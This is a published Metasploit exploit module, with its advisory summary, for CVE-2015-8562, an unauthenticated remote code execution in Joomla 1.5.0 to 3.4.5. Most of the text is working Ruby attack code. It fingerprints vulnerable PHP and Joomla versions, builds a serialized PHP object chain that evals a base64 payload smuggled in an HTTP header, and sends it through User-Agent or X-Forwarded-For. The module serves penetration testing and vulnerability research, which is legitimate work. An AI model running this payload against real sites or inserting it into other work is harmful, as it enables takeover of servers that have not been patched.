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Joomla HTTP Header Unauthenticated Remote Code Execution

Joomla HTTP Header Unauthenticated Remote Code Execution
Posted Dec 17, 2015
Authored by Christian Mehlmauer, Marc-Alexandre Montpas | Site metasploit.com

Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.

tags | exploit, remote, php, code execution
systems | linux, debian, ubuntu
advisories | CVE-2015-8562
MD5 | b5d38a9b93d1455d69a69b275bc5eed0

Joomla HTTP Header Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
'Description' => %q{
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
By storing user supplied headers in the databases session table it's possible to truncate the input
by sending an UTF-8 character. The custom created payload is then executed once the session is read
from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
In later versions the deserialisation of invalid session data stops on the first error and the
exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
},
'Author' =>
[
'Marc-Alexandre Montpas', # discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-8562'],
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
['URL', 'https://bugs.php.net/bug.php?id=70219']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]],
'DisclosureDate' => 'Dec 14 2015',
'DefaultTarget' => 0)
)

register_options(
[
OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]),
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
], self.class)

register_advanced_options(
[
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
], self.class)
end

def check
res = send_request_cgi({'uri' => target_uri.path })

unless res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end

unless res.headers['X-Powered-By']
vprint_error("Unable to determine the PHP version.")
return Exploit::CheckCode::Unknown
end

php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
version = Gem::Version.new(php_version)
vulnerable = false

# check for ubuntu and debian specific versions. Was fixed in
# * 5.5.9+dfsg-1ubuntu4.13
# * 5.3.10-1ubuntu3.20
# * 5.4.45-0+deb7u1
# Changelogs (search for CVE-2015-6835 or #70219):
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
# http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
if rest && rest.include?('ubuntu')
sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")

if version > Gem::Version.new('5.5.9')
vulnerable = false
elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
vulnerable = false
elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
vulnerable = false
else
vulnerable = true
end
elsif rest && rest.include?('+deb')
sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")

if version > Gem::Version.new('5.4.45')
vulnerable = false
elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
vulnerable = false
else
vulnerable = true
end
else
vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
vulnerable = true if version <= Gem::Version.new('5.4.44')
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
end

unless vulnerable
vprint_error('This module currently does not work against this PHP version')
return Exploit::CheckCode::Safe
end

res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') })
if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || ''
unless joomla_version.empty?
vprint_status("Detected Joomla version #{joomla_version}")
return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6')
end
end

res.get_html_meta_elements.each do |element|
if element.attributes['name'] &&
/^generator$/i === element.attributes['name'] &&
element.attributes['content'] &&
/joomla/i === element.attributes['content'].value
return Exploit::CheckCode::Detected
end
end

Exploit::CheckCode::Safe
end

# gets a random 4 byte UTF-8 character
def get_terminator
# valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
[rand(0x10000..0x10ffff)].pack('U*')
end

def get_payload(header_name)
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
t1000 = get_terminator
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}"
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def exploit
if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false
print_error('Target seems safe, so we will not continue.')
return
end

print_status("Sending payload ...")
header_name = Rex::Text.rand_text_alpha_upper(5)
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'headers' => { datastore['HEADER'] => get_payload(header_name) }
})
fail_with(Failure::Unknown, 'No response') if res.nil?
session_cookie = res.get_cookies
send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'cookie' => session_cookie,
'headers' => {
header_name => Rex::Text.encode_base64(payload.encoded)
}
})
end
end
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